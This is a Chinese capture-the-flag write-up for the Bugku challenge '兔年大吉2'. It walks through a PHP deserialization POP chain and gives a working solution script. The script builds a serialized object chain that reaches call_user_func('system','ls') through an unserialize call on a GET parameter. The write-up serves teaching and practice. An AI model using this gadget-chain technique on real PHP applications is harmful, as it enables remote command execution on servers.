兔年大吉2
bugku:
考察点pop链
常见函数触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
对源代码进行标记触发情况
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)//在对象上下文中调用不可访问的方法时触发
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()//当脚本尝试将对象调用为函数时触发
{
return $this->happiness->check(); //调用不可访问的方法
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){//用于将数据写入不可访问的属性
return $this->aspiration->family; //访问不存在的数据
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()//赋值给不可访问的属性
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)//用于从不可访问的属性读取数据
{
$name = $this->rabbit;
$name(); //如果$name为变量,此时$name(),将对象调用为方法
}
public function __destruct()
{
if ($this->key == "happy new year") { //设置key值即可
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
解析
首先利用Year中的__destruct()函数调用,Year中的firecrackers(),
由于赋值变量$this->rabbit->wish不存在,所以会调用Rabbit中的__set,
由于访问变量$this->aspiration->family不存在,所以会调用Year中的__get
此时只需要将$this->rabbit赋值为对象即可,$name()对象被当成函数访问,
此时会调用Nevv中的__invoke,
此时回调函数$this->happiness->check()不存在,所以会调用Happy中的__call
达成目的,
pop链子的顺序
Year:_destruct->Year:firecrackers->Rabbit:_set->Year:_get->
Nevv:__invoke->Happy:_call;
wp
<?php
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content){
$this->cmd = $cmd;
$this->content = $content;
}
}
class Nevv{
private $happiness;
public function __construct($happiness){
$this->happiness=$happiness;
}
}
class Rabbit{
private $aspiration;
public function __construct($aspiration){
$this->aspiration=$aspiration;
}
}
class Year{
public $key="happy new year";
public $rabbit;
}
$a=new Year();
$b=new Year();
$c=new Rabbit($b);
$e=new Happy("system","ls");
$d=new Nevv($e);
$a->rabbit=$c;
$b->rabbit=$d;
echo urlencode(serialize($a));
?>